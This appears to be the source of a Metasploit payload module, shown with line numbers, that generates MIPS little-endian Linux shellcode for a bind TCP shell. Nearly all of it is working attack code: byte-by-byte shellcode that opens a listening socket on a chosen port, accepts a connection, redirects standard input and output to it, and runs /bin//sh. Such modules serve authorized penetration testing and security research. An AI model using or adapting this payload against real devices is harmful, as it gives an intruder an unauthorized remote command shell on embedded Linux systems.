Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 232
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Linux
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Linux Command Shell, Bind TCP Inline',
18
      'Description'   => 'Listen for a connection and spawn a command shell',
19
      'Author'        =>
20
        [
21
          'scut',             # Original mips-irix-portshell shellcode
22
          'vaicebine',        # Original shellcode mod
23
          'Vlatko Kosturjak', # Metasploit module
24
          'juan vazquez'      # Small fixes and optimizations
25
        ],
26
      'License'       => MSF_LICENSE,
27
      'Platform'      => 'linux',
28
      'Arch'          => ARCH_MIPSLE,
29
      'Handler'       => Msf::Handler::BindTcp,
30
      'Session'       => Msf::Sessions::CommandShellUnix,
31
      'Payload'       =>
32
        {
33
          'Offsets' => {} ,
34
          'Payload' => ''
35
        })
36
    )
37
  end
38

39
  def generate(_opts = {})
40
    if !datastore['LPORT']
41
      return super
42
    end
43

44
    port = Integer(datastore['LPORT'])
45
    port = [port].pack("n").unpack("cc");
46

47
    shellcode =
48
    "\xe0\xff\xbd\x27" + #     addiu   sp,sp,-32
49
    "\xfd\xff\x0e\x24" + #     li      t6,-3
50
    "\x27\x20\xc0\x01" + #     nor     a0,t6,zero
51
    "\x27\x28\xc0\x01" + #     nor     a1,t6,zero
52
    "\xff\xff\x06\x28" + #     slti    a2,zero,-1
53
    "\x57\x10\x02\x24" + #     li      v0,4183 ( __NR_socket )
54
    "\x0c\x01\x01\x01" + #     syscall
55

56
    "\xff\xff\x50\x30" + #     andi    s0,v0,0xffff
57
    "\xef\xff\x0e\x24" + #     li      t6,-17                        ; t6: 0xffffffef
58
    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero                    ; t6: 0x10 (16)
59
    port.pack("C2") + "\x0d\x24" +  #     li      t5,0xFFFF (port)   ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
60
    "\x04\x68\xcd\x01" + #     sllv    t5,t5,t6                      ; t5: 0x5c110000
61
    "\xfd\xff\x0e\x24" + #     li      t6,-3                         ; t6: -3
62
    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero                    ; t6: 0x2
63
    "\x25\x68\xae\x01" + #     or      t5,t5,t6                      ; t5: 0x5c110002
64
    "\xe0\xff\xad\xaf" + #     sw      t5,-32(sp)
65
    "\xe4\xff\xa0\xaf" + #     sw      zero,-28(sp)
66
    "\xe8\xff\xa0\xaf" + #     sw      zero,-24(sp)
67
    "\xec\xff\xa0\xaf" + #     sw      zero,-20(sp)
68
    "\x25\x20\x10\x02" + #     or      a0,s0,s0
69
    "\xef\xff\x0e\x24" + #     li      t6,-17
70
    "\x27\x30\xc0\x01" + #     nor     a2,t6,zero
71
    "\xe0\xff\xa5\x23" + #     addi    a1,sp,-32
72
    "\x49\x10\x02\x24" + #     li      v0,4169 ( __NR_bind )A
73
    "\x0c\x01\x01\x01" + #     syscall
74

75
    "\x25\x20\x10\x02" + #     or      a0,s0,s0
76
    "\x01\x01\x05\x24" + #     li      a1,257
77
    "\x4e\x10\x02\x24" + #     li      v0,4174 ( __NR_listen )
78
    "\x0c\x01\x01\x01" + #     syscall
79

80
    "\x25\x20\x10\x02" + #     or      a0,s0,s0
81
    "\xff\xff\x05\x28" + #     slti    a1,zero,-1
82
    "\xff\xff\x06\x28" + #     slti    a2,zero,-1
83
    "\x48\x10\x02\x24" + #     li      v0,4168 ( __NR_accept )
84
    "\x0c\x01\x01\x01" + #     syscall
85

86
    "\xff\xff\xa2\xaf" + #     sw v0,-1(sp) # socket
87
    "\xfd\xff\x11\x24" + #     li s1,-3
88
    "\x27\x88\x20\x02" + #     nor s1,s1,zero
89
    "\xff\xff\xa4\x8f" + #     lw a0,-1(sp)
90
    "\x21\x28\x20\x02" + #     move a1,s1 # dup2_loop
91
    "\xdf\x0f\x02\x24" + #     li v0,4063 ( __NR_dup2 )
92
    "\x0c\x01\x01\x01" + #     syscall 0x40404
93
    "\xff\xff\x10\x24" + #     li s0,-1
94
    "\xff\xff\x31\x22" + #     addi s1,s1,-1
95
    "\xfa\xff\x30\x16" + #     bne s1,s0 <dup2_loop>
96

97
    "\xff\xff\x06\x28" + #     slti a2,zero,-1
98
    "\x62\x69\x0f\x3c" + #     lui t7,0x2f2f "bi"
99
    "\x2f\x2f\xef\x35" + #     ori t7,t7,0x6269 "//"
100
    "\xec\xff\xaf\xaf" + #     sw t7,-20(sp)
101
    "\x73\x68\x0e\x3c" + #     lui t6,0x6e2f "sh"
102
    "\x6e\x2f\xce\x35" + #     ori t6,t6,0x7368 "n/"
103
    "\xf0\xff\xae\xaf" + #     sw t6,-16(sp)
104
    "\xf4\xff\xa0\xaf" + #     sw zero,-12(sp)
105
    "\xec\xff\xa4\x27" + #     addiu a0,sp,-20
106
    "\xf8\xff\xa4\xaf" + #     sw a0,-8(sp)
107
    "\xfc\xff\xa0\xaf" + #     sw zero,-4(sp)
108
    "\xf8\xff\xa5\x27" + #     addiu a1,sp,-8
109
    "\xab\x0f\x02\x24" + #     li v0,4011 ( __NR_execve )
110
    "\x0c\x01\x01\x01"   #     syscall 0x40404
111

112
    return super + shellcode
113
  end
114
end
115

116